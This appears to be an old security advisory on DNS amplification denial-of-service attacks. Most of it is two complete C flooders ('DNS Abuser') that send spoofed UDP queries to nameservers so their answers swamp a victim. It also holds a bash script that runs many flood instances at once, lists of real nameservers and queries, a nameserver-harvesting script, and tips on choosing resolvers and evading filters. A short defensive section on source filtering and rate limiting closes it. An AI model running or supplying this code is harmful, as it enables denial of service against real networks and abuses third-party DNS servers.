COMMAND

    DNS

SYSTEMS AFFECTED

    munices

PROBLEM

    Carlos Veira  posted following.   A quick  list of  what has  been
    added/modified  to  the  original  code  once  posted and archived
    somewhere here follows:

        1. Ability of managing a variable and different number of name
           servers and querys.
        2. Ability of taking input data from text files.
        3. Added some fixes to the flood engine.
        4. Ability of controlling the times to be executed.
        5. Added some 'paralell processing' features.

    It's somehow necessary to add some simple memory management.   The
    current version works  with a buffer  which can manage  MAX_SEVERS
    entries.   There  are  no  memory  management  at all.  That means
    that,  when  reading  a  file,  only  the  first  MAX_SERVERS  are
    considered.  If we want to extend this to larger files this is  to
    be  added.   Another  improvement  would  be  to  enhance the hash
    function in order  to get a  more uniform statistic  distribution.
    This  would  carry  out  a  better  'paralell'  performance.  This
    'paralell'  feature  trys  to  query  different  name servers with
    different questions  at the  same time.  Such a  thing would avoid
    some lame  filters and  make the  attack more  distributable among
    the whole DNS servers.

    To work out this feature, the flooder begins in a different  point
    depending on its PID. Given this situation, one can fork  diferent
    processes from  de command  line and  each of  them will perform a
    different action in a certain moment.  Of course more complex  and
    efficient solutions  could be  worked out,  but, once  again, they
    are far long  from my initial  aims.  As  it can be  watched, such
    attack can be  as powerful (or  even better) as  smurf or fraggle.
    Think  this  is  more  flexible  and  owns  a  grater  degree   of
    distribution.  Let's put some evil imagination in motion...

    Impact?  First of all, some notes:

    1. We are  talking about UDP  traffic. That means  that there's no
       connection.
    2. We also must consider that the victim will recive packets  with
       different sources (IPs and ports).
    3. We must remember that DNS is a critical service in the Internet
       almost every service depend on it in a different degree.
    4. DNS can be reached from any place on the Internet: there is  no
       restriction.

    Let's  consider  a  couple  of  scenarios.  If  the  target is not
    shielded by a firewall, the effect of this attack is obvious:  the
    host  is  flooded  to  dead.  So,  what  happend  in  a   filtered
    environment?  If the firewall uses content inspection  techniques,
    should drop all this traffic (these are valid answers but no query
    has been performed on the  protected network).  In this  case, the
    affected host  will be  the firewall.  This is  even more worrying
    than  the  first  case  because  firewalls are esential devices on
    network conectivity.  If the firewall fails, all the network fails
    (from a conectivity point of  view, of course).  We  must remember
    that a firewall is more vulnerable to this kind of overloads.   To
    the  *physical*  traffic  flooding  itself,  we  have  to  add the
    following:

      a. A firewall  must perform a  rule check for  each I/O traffic.
         That means some load.
      b. The logging process on the firewall means added load,  mainly
         I/O load through disk.

    An encreasing number of DNS servers means a proportional raise  on
    the  distribution  degree  this  attack  has.   So, to bring a big
    firewall to its  knees we only  need to take  a grate list  of DNS
    servers.  The obvious side  effect of such situation is  a traffic
    overload on the network segments on the way to the target.   Using
    network switches would  help to limit  this annoying side  effect.
    Exploit follows:

    /*
     * DNS Abuser v0.4b
     *
     * Author: Nemo (cveira@airtel.net)
     * http://www.deepzone.org
     *
     * This code is a little enhancement based on DOOMDNS by FuSyS & |scacco|
     * http://www.www.s0ftpj.org
     *
     * Usage: dnsa <target>
     *        dnsa <target> <times> [<dns_servers.txt> <querys.txt>]
     *
     */

    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <arpa/nameser.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/udp.h>
    #include <netdb.h>
    #include <time.h>

    #define  IP_HEAD_BASE		20
    #define  UDP_HEAD_BASE		8
    #define  DEF_TIMES		1000
    #define  DNS_QSIZE		255
    #define  MAX_QUERYS		25			// maximum buffer size
    #define  MAX_SERVERS		25			// maximum buffer size
    #define  CNAME_LENGTH		255			// max CNAME length
    #define  DEF_DOMAINS		"./domains.txt"		// domain list file
    #define  DEF_QUERYS		"./querys.txt"		// query list file


    struct 	 DNS_MSG {
	     HEADER head;
	     char   query[DNS_QSIZE];
    };

    struct 	 dns_pkt {
	     struct iphdr  ip;
	     struct udphdr udp;
 	     char   data[1000];
    };

    struct   domain_buff {
	     int  used;
	     char cname[CNAME_LENGTH];
    };


    typedef  struct domain_buff tdbuff;
    tdbuff   dnsquery[MAX_QUERYS];
    tdbuff   domains[MAX_SERVERS];
    unsigned long saddr;
    int      sd, dptr, qptr;				// socket & array pointers
    FILE     *dd, *qd;					// file pointers



    int startptr(tdbuff *buff, int buff_limit)		// hash function
    {
       int init = 0;

       init = getpid() % buff_limit;

       while (!buff[init].used)
       {
          if (++init > buff_limit) init = 0;
       }

       return init;
    }

    void rst_buff(tdbuff *b, int max)
    {
       memset(b, 0, sizeof(tdbuff)*max);
    }

    void readln(FILE *f, tdbuff *buff)
    {
       int eol  = 0,
           i    = 0;
       tdbuff   b;

       rst_buff(&b, 1);

       do
       {
          b.cname[i] = fgetc(f);

          if (!ferror(f))
          {
             if (!feof(f))
             {
                if (b.cname[i] == '\n')
                {
                   b.cname[i]  = '\0';
      	           b.used      = 1;
      	           eol             = 1;
                }
                else if ((i+1) >= CNAME_LENGTH)
                {
                   fprintf(stderr, "\nInvalid CNAME or invalid file format. Quitting...\n");
                   exit(7);
                }
                else
                {
                   i++;
                }
             }
             else
             {
                if (b.cname[i] == '\n')
                {
                   b.cname[i]  = '\0';
      	           b.used      = 1;
      	        }
             }
          }
          else
          {
             fprintf(stderr, "\nRead error. Quitting...\n");
             exit(6);
          }
       }
       while ((!ferror(f) && !feof(f)) && !eol);

       if (!ferror(f) && !feof(f)) *buff = b;
    }

    unsigned long nameResolve(char *hostname)
    {
      struct in_addr addr;
      struct hostent *hostEnt;

      if ((inet_aton(hostname, &addr)) == 0)
      {
        if (!(hostEnt=gethostbyname(hostname)))
        {
           fprintf(stderr,"\nTarget '%s' does not exist\n",hostname);
           exit(0);
        }
        bcopy(hostEnt->h_name,(char *)&addr.s_addr,hostEnt->h_length);
      }
      return addr.s_addr;
    }

    void forge (unsigned long daddr, unsigned short psrc, unsigned short pdst)
    {
       struct sockaddr_in sin;
       struct dns_pkt     dpk;
       struct DNS_MSG     killer;
       int                shoot, len;


       // adjust pointer ...
       if (qptr < MAX_QUERYS)
       {
          if(!dnsquery[dptr].used) qptr++;
       }
       else
       {
          qptr = 0;
       }
       dnsquery[qptr].used = 1;


       // build packets ...
       memset(&killer, 0, sizeof(killer));

       killer.head.id      = getpid();
       killer.head.rd      = 1;
       killer.head.aa      = 0;
       killer.head.opcode  = QUERY;
       killer.head.qr      = 0;
       killer.head.qdcount = htons(1);
       killer.head.ancount = htons(0);
       killer.head.nscount = htons(0);
       killer.head.arcount = htons(0);

       strcat(killer.query, dnsquery[qptr].cname);
       killer.query[strlen(dnsquery[qptr].cname) + 2] = 0x00FF;
       killer.query[strlen(dnsquery[qptr].cname) + 4] = 0x0001;

       memset(&dpk, 0, sizeof(dpk));

       dpk.udp.source = psrc;
       dpk.udp.dest   = pdst;
       len            = (12 + strlen(killer.query) + 5);
       dpk.udp.len    = htons(UDP_HEAD_BASE + len);

       memcpy(dpk.data, (void*)&killer, len);
       dpk.ip.ihl      = 5;
       dpk.ip.version  = 4;
       dpk.ip.tos      = 0;
       dpk.ip.tot_len  = htons(IP_HEAD_BASE+UDP_HEAD_BASE+len);
       dpk.ip.frag_off = 0;
       dpk.ip.ttl      = 64;
       dpk.ip.protocol = IPPROTO_UDP;
       dpk.ip.saddr    = saddr;
       dpk.ip.daddr    = daddr;

       memset(&sin, 0, sizeof(sin));

       sin.sin_family      = AF_INET;
       sin.sin_port        = pdst;
       sin.sin_addr.s_addr = daddr;

       shoot = sendto(sd                                  ,
                      &dpk                                ,
                      (IP_HEAD_BASE + UDP_HEAD_BASE + len),
                      0                                   ,
                      (struct sockaddr *)&sin             ,
                      sizeof(sin)
                     );

       if (shoot < 0) fprintf(stderr, "SPOOF ERROR");
    }

    void doomzone (void)
    {
       unsigned long  daddr;
       unsigned short psrc, pdest;

       // adjust pointer ...
       if (dptr < MAX_SERVERS)
       {
          if(!domains[dptr].used) dptr++;
       }
       else
       {
          dptr = 0;
       }
       domains[dptr].used = 1;

       daddr = nameResolve(domains[dptr].cname);

       psrc  = htons(1024 + (rand()%2000));
       pdest = htons(53);

       forge(daddr, psrc, pdest);
    }

    int main (int argc, char *argv[])
    {
       int          i, sd_opt, code;
       unsigned int times = DEF_TIMES;

       printf("\n\n\033[1;32mDNS Abuser v0.4b\033[0m");
       printf("\n\033[1;34mDNS-based flooder by Nemo - =
    http://www.deepzone.org\033[0m");
       printf("\n\033[1;34mBased on FuSyS & |scacco| work: D00MDNS - http://www.s0ftpj.org\033[0m\n");


       // ->simple<- parameter checking :P
       if (argc < 2)
       {
          fprintf(stderr, "\nUsage: %s <target>", argv[0]);
          fprintf(stderr, "\n       %s <target> <times> [<dns_servers.txt> <querys.txt>]\n\n", argv[0]);
          exit(0);
       }

       saddr = nameResolve(argv[1]);
       if (argc > 2) times  = atoi(argv[2]);

       // loading files
       if (argc > 3)
       {
          if ((dd = fopen(argv[4], "r")) == NULL)
          {
             fprintf(stderr, "\nCannot open domain file. Quitting...\n");
             exit(4);
          }

          if ((qd = fopen(argv[5], "r")) == NULL)
          {
             fprintf(stderr, "\nCannot open query file. Quitting...\n");
             exit(5);
          }
       }
       else
       {
          if((dd = fopen(DEF_DOMAINS, "r")) == NULL)
          {
             fprintf(stderr, "\nCannot open domain file. Quitting...\n");
             exit(4);
          }

          if((qd = fopen(DEF_QUERYS, "r")) == NULL)
          {
             fprintf(stderr, "\nCannot open query file. Quitting...\n");
             exit(5);
          }
       }

       rst_buff(domains, MAX_SERVERS);
       rst_buff(dnsquery, MAX_QUERYS);

       i = 0;
       do
       {
          readln(dd, &domains[i]);
          i++;
       }
       while ((i < MAX_SERVERS) && !feof(dd));

       i = 0;
       do
       {
          readln(qd, &dnsquery[i]);
          i++;
       }
       while ((i < MAX_QUERYS) && !feof(qd));


       // opening sockets ...
       srand(time(NULL));
       sd_opt = 1;

       if ((sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
       {
          fprintf(stderr, "\nSocket error. Quitting...\n");
          exit(2);
       }

       if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, &sd_opt, sizeof(sd_opt)) < 0)
       {
          fprintf(stderr, "\nIP Error. Quitting...\n");
          exit(3);
       }


       dptr = startptr(domains, MAX_SERVERS);
       qptr = startptr(dnsquery, MAX_QUERYS);

       // flooding engine
       printf("\n\033[1;34mFlooding %s:\033[0m\n", argv[1]);
       while(times--)
       {
          doomzone();
          printf("\033[1;34m.\033[0m");
       }

       printf("\n\n");

       fclose(dd);
       fclose(qd);

       return(0);
    }

    xn.sh follows:

    #!/bin/bash
    #
    # xNuke v0.1b - *nix DoS amplifier
    #
    # Author: Nemo (Nemo@deepzone.org)
    # DeepZone Digital Security - http://www.deepzone.org
    #
    # Usage: xn <instances> <app> <target> [other_parameters]
    #

    echo
    echo "xNuke v0.1b - *nix DoS amplifier."
    echo

    n=$1

    while [ -n "$n" ]; do
       $2 $3 $4 $5 $6 > /dev/null &

       n=n-1
    done

    querys.txt:

    www.microsoft.com
    www.novell.com
    www.nrg.be
    www.ldg.be
    www.mir.es
    www.hispasec.com
    www.securityfocus.com
    www.geocities.com
    www.tripod.com
    www.hypermart.net

    domains.txt:

    ns1.allinfosys.com
    ns2.allinfosys.com
    ns.uu.net
    dns.ncsa.es
    dns2.ncsa.es

    Zelea posted  following.   This program  works by  sending spoofed
    UDP packets to a list  of nameservers.  The packets  contain valid
    type ANY class  IN queries.   The amplification effect  comes from
    the fact that the  query packet is much  smaller in size than  the
    answer.   A list  of queries  is already  included in this source.
    These queries  have been  selected for  the highest  amplification
    ratio (currently between 20-25) but you can provide your own  list
    of  queries  in  a  separate  file.  ICMP  (udp  port unreachable)
    packets are sent  back to the  nameservers reducing even  more the
    victim's bandwidth.  This program  has a short delay at  the start
    due to the time required to resolve the nameserver's IPs.  Then it
    sends each  UDP query  at full  speed to  each nameserver from the
    list.  The nameservers file has one server per line.

    To quickly build yourself a list of nameservers use the following
    script after you have downloaded the domain inaddr.zone.gz file.

        #!/bin/sh
        ZONE=inaddr.zone;
        if [ "x$1x" == "xx"  ]; then
          echo "Usage: print_ns aprox_nr_of_servers";
          exit
        fi
        if [ ! -f $ZONE ]; then
          echo "Zone file $ZONE not found";
          exit
        fi
        NR=`wc -l $ZONE`;
        awk --assign=TOT="$NR" --assign=DES="$1" '
          BEGIN { srand(); th=DES/TOT; };
          /NS/  { if( rand() < th )
                  {
                    fi = split( $0, entry );
                    if( entry[fi-1] == "NS" )
                      serv[entry[fi]] = 1;
                  }};
          END   { for( ns in serv )
                    printf "%s\n", ns;
                }' $ZONE

    If  you  plan  to  use  high  bandwidth  you  should  select   the
    nameservers by their own bandwidth  (they should have at least  50
    times the bandwidth of the incoming queries otherwise the  packets
    send to them will  be just wasted) [a  way of checking a  server's
    bandwidth capacity is using 'bing'].  This kind of DoS attack  has
    several advantages over a smurf attack.  There are more than 25000
    nameservers  which  will  always  be  out  there.  It is also more
    difficult to  block because  UDP queries  are valid  packets which
    pass through almost  all firewalls.   Since every computer  has to
    have some kind of name resolver  the only way to block this  is by
    denying all UDP  packets with source  port 53 except  those coming
    from your local nameserver.   [There is still your own  nameserver
    that can flood you in this case].  The code:

    /*
     * DNS Abuser v1.0
     * Working version by Zelea
     * Last modified: 26 February 2000
     *
     * Based on dnsabuser.c by Nemo (cveira@airtel.net) and
     * on DOOMDNS by FuSyS
     *
     * Usage: dnsa1 <target> <times> [<dns_server.txt> [<dns_query.txt>]]
     *              times = 0 means continuously
     */
    
    /* This program is for educational purpose only */
    
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <arpa/nameser.h>
    #include <netinet/in.h>
    #include <netinet/ip.h>
    #include <netinet/udp.h>
    #include <netdb.h>
    #include <time.h>
    
    #define	 IP_HEAD_BASE		20
    #define	 UDP_HEAD_BASE		8
    #define	 DNS_QSIZE		64
    #define	 MAX_LINE 		255
    #define	 MAX_QUERYS		255	// maximum buffer size
    #define	 MAX_SERVERS		255	// maximum buffer size
    #define	 QUERY_LENGTH		32	// max QUERY length
    #define	 DEF_DOMAINS		"./dns_server.txt"	// name servers
    #define	 DEF_QUERYS		"./dns_query.txt"	// query list file
    
    struct DNS_MSG
    {
      HEADER        head;
      char          query[DNS_QSIZE];
    };
    
    struct dns_pkt
    {
      struct iphdr  ip;
      struct udphdr udp;
      char          data[DNS_QSIZE];
    };
    
    char          dns_query[MAX_QUERYS][QUERY_LENGTH];
    char         *dns_query_def[] =
    { "ca", "de", "es", "ch", "be", "ie", "cr", "org", "com", "edu",
      "gov", "net", "se", "gr", "ro", "fr", "it", "ru", "pl", "ma",
      "in", "fi", "nrc.ca", "pse.pl", "arpa", "ucd.ie", "nl", "sk",
      "at", "psi.net", "uqam.ca", "ac.cy", "cz", "sh", "nu",
      "gmx.net", "ac.in", "usc.edu", "ac.uk", NULL };
    
    unsigned long dns_servers[MAX_SERVERS];
    unsigned long saddr;
    int           sd;		//
    
    unsigned long
    nameResolve( const char *name )
    {
      struct hostent *host;
      struct sockaddr_in addr;
      memset( &addr, 0, sizeof( struct sockaddr_in ) );
    
      addr.sin_family = AF_INET;
      addr.sin_addr.s_addr = inet_addr( name );
      if ( addr.sin_addr.s_addr == -1 )
      {
        if ( ( host = gethostbyname( name ) ) == NULL )
        {
          fprintf( stderr, "Unable to resolve host %s\n", name );
          return ( -1 );
        }
        addr.sin_family = host->h_addrtype;
        memcpy( ( caddr_t ) & addr.sin_addr, host->h_addr, host->h_length );
      }
      return ( unsigned long ) addr.sin_addr.s_addr;
    }
    
    void
    doomzone( void )
    {
      static int    nsptr = 0;
      static int    qptr = 0;
      unsigned long daddr;
      unsigned short psrc, pdest;
      struct sockaddr_in sin;
      struct dns_pkt dpk;
      struct DNS_MSG killer;
      int           shoot, len;
      char         *p, *plgt;
    
      if ( dns_servers[nsptr] == 0L )
        nsptr = 0;
      daddr = dns_servers[nsptr++];
      if ( *dns_query[qptr] == '\0' )
        qptr = 0;
    
      psrc = htons( 1024 + ( rand(  ) % 2000 ) );
      pdest = htons( 53 );
    
      // build packets ...
      memset( &killer, 0, sizeof( killer ) );
      killer.head.id = getpid(  );
      killer.head.rd = 1;
      killer.head.aa = 0;
      killer.head.opcode = QUERY;
      killer.head.qr = 0;
      killer.head.qdcount = htons( 1 );
      killer.head.ancount = htons( 0 );
      killer.head.nscount = htons( 0 );
      killer.head.arcount = htons( 0 );
      strcat( killer.query + 1, dns_query[qptr++] );
      p = plgt = killer.query;
      do
      {
        p++;
        while ( *p != '.' && *p != '\0' )
          p++;
        *plgt = ( u_char ) ( p - plgt - 1 );
        plgt = p;
      }
      while ( *p == '.' );
      p++;
      *(( unsigned short * ) p)++ = htons( T_ANY );	/* type ANY */
      *(( unsigned short * ) p)++ = htons( C_IN );	/* class IN */
      len = 12 + p - killer.query;
      memset( &dpk, 0, sizeof( dpk ) );
      dpk.udp.source = psrc;
      dpk.udp.dest = pdest;
      dpk.udp.len = htons( UDP_HEAD_BASE + len );
      memcpy( dpk.data, ( void * ) &killer, len );
      dpk.ip.ihl = 5;
      dpk.ip.version = 4;
      dpk.ip.tos = 0;
      dpk.ip.tot_len = htons( IP_HEAD_BASE + UDP_HEAD_BASE + len );
      dpk.ip.frag_off = 0;
      dpk.ip.ttl = 64;
      dpk.ip.protocol = IPPROTO_UDP;
      dpk.ip.saddr = saddr;
      dpk.ip.daddr = daddr;
      memset( &sin, 0, sizeof( sin ) );
      sin.sin_family = AF_INET;
      sin.sin_port = pdest;
      sin.sin_addr.s_addr = daddr;
      shoot = sendto( sd, &dpk,
          ( IP_HEAD_BASE + UDP_HEAD_BASE + len ), 0,
          ( struct sockaddr * ) &sin, sizeof( sin ) );
      if ( shoot < 0 )
        fprintf( stderr, "SPOOF ERROR" );
    }
    
    int
    main( int argc, char *argv[] )
    {
      FILE         *dd, *qd;	// file pointers
      int           i, j, sd_opt;
      unsigned int  times = 0;
      unsigned long ns_addr;
      char          line[MAX_LINE];
      char         *p;
    
      // unbuffered output
      setbuf( stdout, NULL );
      setbuf( stderr, NULL );
      // ->simple<- parameter checking :P
      if ( argc < 3 )
      {
        fprintf( stderr, "\nUsage:\t%s <target> <times> "
          "[<dns_servers.txt> [<dns_query.txt>]]\n\n", argv[0] );
        exit( 0 );
      }
      saddr = nameResolve( argv[1] );
      times = atoi( argv[2] );
    
      // loading files
      dd = fopen( DEF_DOMAINS, "r" );
      if ( argc > 3 )
      {
        if ( ( dd = fopen( argv[4], "r" ) ) == NULL )
        {
          fprintf( stderr, "\nCannot open domain file %s. Quitting...\n", argv[4] );
          exit( 0 );
        }
      }
      if ( argc > 4 )
      {
        if ( ( qd = fopen( argv[5], "r" ) ) == NULL )
        {
          fprintf( stderr, "\nCannot open query file %s. Quitting...\n", argv[5] );
          exit( 0 );
        }
      }
      else
      {
        qd = fopen( DEF_QUERYS, "r" );
      }
      if ( dd == NULL )
      {
        fprintf( stderr, "\nCannot open domain file. Quitting...\n" );
        exit( 0 );
      }
      i = 0;
      do
      {
        fgets( line, MAX_LINE - 1, dd );
        if ( ( p = strchr( line, '\n' ) ) != NULL )
          *p = '\0';
        if ( ( ns_addr = nameResolve( line ) ) != -1 )
          dns_servers[i++] = ns_addr;
      }
      while ( ( i < MAX_SERVERS - 1 ) && !feof( dd ) );
      dns_servers[i] = 0L;
    
      i = 0;
      j = 0;
      if ( qd == NULL )
      {
        while ( ( i < MAX_QUERYS - 1 ) && dns_query_def[j] != NULL )
        {
          if ( strlen( dns_query_def[j] ) < QUERY_LENGTH )
	    strcpy( dns_query[i++], dns_query_def[j++] );
          else
	    j++;
        }
      }
      else
      {
        do
        {
          fgets( line, MAX_LINE - 1, qd );
          if ( ( p = strchr( line, '\n' ) ) != NULL )
	    *p = '\0';
          if ( strlen( line ) < QUERY_LENGTH )
	    strcpy( dns_query[i++], line );
        }
        while ( ( i < MAX_QUERYS - 1 ) && !feof( qd ) );
      }
      *dns_query[i] = '\0';
      fclose( dd );
      fclose( qd );
    
      // opening sockets ...
      srand( time( NULL ) );
      sd_opt = 1;
      if ( ( sd = socket( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) < 0 )
      {
        fprintf( stderr, "\nSocket error. Quitting...\n" );
        exit( 0 );
      }
      if ( setsockopt( sd, IPPROTO_IP, IP_HDRINCL, &sd_opt,
          sizeof( sd_opt ) ) < 0 )
      {
        fprintf( stderr, "\nIP Error. Quitting...\n" );
        exit( 0 );
      }
    
      printf( "\n\n\033[1;36mDNS Abuser v1.0\033[0m" );
      printf( "\n\033[1;31mDNS-based flooder\033[0m" );
    
      // flooding engine
      printf( "\n\033[1;32mFlooding %s:\033[0m\n", argv[1] );
      i = 0;
      while ( times == 0 || i < times )
      {
        doomzone(  );
        i++;
        if ( !( i % 100 ) )
          printf( "\033[0;32m.\033[0m" );
      }
      printf( "\n\n" );
      return ( 0 );
    }

SOLUTION

    Possible solutions do follow.

    a.  Source IP filtering & Bandwith control:
    ===========================================
    a.1 Source IP filtering:
    This may be one the  most effective measures. By giving  this type
    of  rule  to  routers,  we  *limit* the IP spoofing possibilities:
    such  rule  would  only  allow  traffic  to  pass  over  a network
    interface  if  the  source  IP  belongs  to  a valid range on that
    interface.

    a.2 Bandwith control:
    Giving an I/O rate  to DNS traffic could  *help* too.  This  would
    stop a flood based on a few DNS servers been queried  intensively.
    Nevertheless, it  is not  very useful  to the  target network when
    hitted by  a highly  distributed DNS  flood.   The reasons are the
    same ones given  in the case  of the firewall.   In this case  the
    damaged system would be the router itself.

    a.3 Problems:
    Source IP filtering it's great  but it needs to be  implemented on
    every routing  device on  the Internet.   If there's  a place wich
    allows IP  spoofing, the  risk remains  there.   Unfortunately, IP
    filtering  could  not  be  necessary  on  some  cases.  Let's see:
    besides the flooding effect, we get a global network overload.  If
    we also consider  that today it's  pretty common having  more than
    one PPP Internet access... So, we've got it...

    So it seems  easy to log  into an ISP  perform the attack  using a
    valid ISP IP as the source, then disconnect and log in again  with
    other  ISP  while  the  other  is  being nuked by thousands of DNS
    servers on the Internet...  The success on the choice of the valid
    ISP IP  address depends  on the  ISP network  architecture and its
    *internal* filters.

    b.  UDP quick 'handshake'
    =========================
    A  better  solution  is  a  quick  UDP 'handshake' before a remote
    server or client is authorized to use a name server.  Thus, if you
    wish to use a name  server, you'd send a UDP  'connection request'
    packet to it and it would reply with a key that you could use  for
    future requests.  Since the key  would be sent to the victim,  and
    you couldn't amplify without it, the attack would be gone.

    The problem is, over the  Internet at large, name servers  need to
    connect to large numbers of different name servers, as opposed  to
    the same ones over and over. So this would have some impact.

    The important thing  to realize is  that the first  step to fixing
    this  is  name  servers  not  providing  server-client  service to
    anyone.  Once the  server-client service is restricted  to 'local'
    IPs, the server-server protocol can be locked down.

    The only real solution is  to have ISP actually police  the source
    addresses of packets entering their networks from their customers.
    There is nothing new here.   Good ISP's do this already, bad  ones
    don't.   The best  ones will  even notify  the customers that they
    have a problem when they see attacks like this lauched from within
    the customer's network.